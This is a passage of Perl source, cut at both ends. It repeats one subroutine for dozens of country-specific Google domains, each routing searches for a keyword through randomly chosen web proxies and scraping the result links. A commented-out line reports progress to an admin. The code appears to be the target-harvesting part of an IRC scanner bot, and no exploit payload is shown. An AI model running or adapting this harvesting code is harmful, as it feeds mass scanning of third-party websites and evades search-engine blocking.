		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleEG() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.eg%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryEG%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleEC() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.ec%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryEC%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleDM() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.dm%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryDM%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleCY() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.cy%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCY%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleCU() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.cu%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCU%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleHR() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.hr%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryHR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleCR() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.cr%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleCM() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.cm%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryCM%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleKH() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.kh%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryKH%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleBN() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.bn%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBN%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleBG() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.bg%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBG%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleBA() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.ba%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBA%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleBO() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.bo%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBO%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleBT() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.bt%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBT%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleBY() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.by%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBY%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleBD() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.bd%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBD%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleBH() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.bh%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryBH%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleAZ() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.az%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAZ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleAM() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.am%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAM%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleAO() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.ao%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAO%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleDZ() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.dz%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryDZ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleAL() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.al%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAL%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleAF() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.af%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryAF%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleKZ() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.kz%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryKZ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleME() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.me%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryME%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googlePK() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.pk%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryPK%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
